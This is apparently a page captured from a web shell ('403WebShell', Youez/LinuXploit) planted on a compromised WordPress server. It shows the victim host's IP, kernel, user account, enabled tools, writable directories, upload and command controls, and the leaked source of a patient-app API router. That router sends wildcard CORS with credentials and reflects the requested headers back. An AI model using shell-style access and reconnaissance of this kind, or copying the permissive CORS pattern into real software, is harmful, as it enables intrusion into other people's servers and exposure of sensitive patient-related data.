Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/index.php
<?php

    try {
        require_once realpath(__DIR__ . '/..') . '/include/include.php';
    } catch (Throwable $e) {			// php 7
        error_log('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [1]');
        exit;
    }

	header('Content-type: text/plain');

	if (SERVER == 'BETA') {
		define('DOWNLOAD_FOLDER', '/var/www/patientapps_www/storage/patientapps/audio');
	} else {
		define('DOWNLOAD_FOLDER', realpath(__DIR__ . '/../.download'));
	}

	$x = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
	if (($p = strpos($x, '?')) !== FALSE) {
		$x = substr($x, 0, $p);
	}
	
	$x = ltrim($x, '/');
	$x = str_replace(['..', '&', '\\', ';', '<', '>'], '', $x);
	$elements = explode('/', $x);
	if ($elements[0] == 'api') array_shift($elements);
	
	$controller = array_shift($elements);
	$controller = str_replace(['.', '-'], '_', $controller);

	$filename = __DIR__ . '/.api/' . $controller . '.php';
	if (file_exists($filename)) {
		
		// Allow from any origin
		//if (isset($_SERVER['HTTP_ORIGIN'])) {
			header("Access-Control-Allow-Origin: *");
			header('Access-Control-Allow-Credentials: true');
			header('Access-Control-Max-Age: 86400');    // cache for 1 day
		//}

		// Access-Control headers are received during OPTIONS requests
		if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {

			if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']))
				// may also be using PUT, PATCH, HEAD etc
				header("Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS");

			if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']))
				header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}");

			exit;
		}
		
		try {
			require_once $filename;
		} catch (Throwable $e) {			// php 7
			die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [7]');
		}
	} else {
		echo "404 Page not found\n";
	}

function ReturnJson($res) {
    header('Content-type: application/json');
    $x = json_encode($res);
    echo $x;
    exit;
}

//  map 808930 to ma1-cmca or similar
function ProductMapping($db, $abbr) {
	$item = $db->lookup('select sl_full from shortlink where sl_short=%s', $abbr);
    if (!$item['__existing']) return '';

    $elements = parse_url($item['sl_full']);
    if ($elements['scheme'] == 'group' || stripos($elements['host'], 'myapp.care') === FALSE) return '';
    
    $domain = explode('.', $elements['host']);
    return strtolower($domain[0]);
}

function getDocumentInfo($filename) {
	$content = file_get_contents($filename);
	$x = json_decode($content, TRUE);
	$version = date('Y.m.d');
	$header = $short = '';
	if (isset($x['data.json'])) {
		$x = json_decode(base64_decode($x['data.json']), TRUE);
		if (isset($x['splash']['version'])) {
			$node = $x['splash'];
			$version = $node['version'];
			if (isset($node['short'])) $short = trim($node['short']);
			if (isset($node['header'])) $header = $node['header'];
		}
	}
	$result = new StdClass;
	$result->version = $version;
	$result->size = strlen($content);
	$result->title = $header;
	$result->short = $short;
// long title
// short title
	return $result;
}

Youez - 2016 - github.com/yon3zu
LinuXploit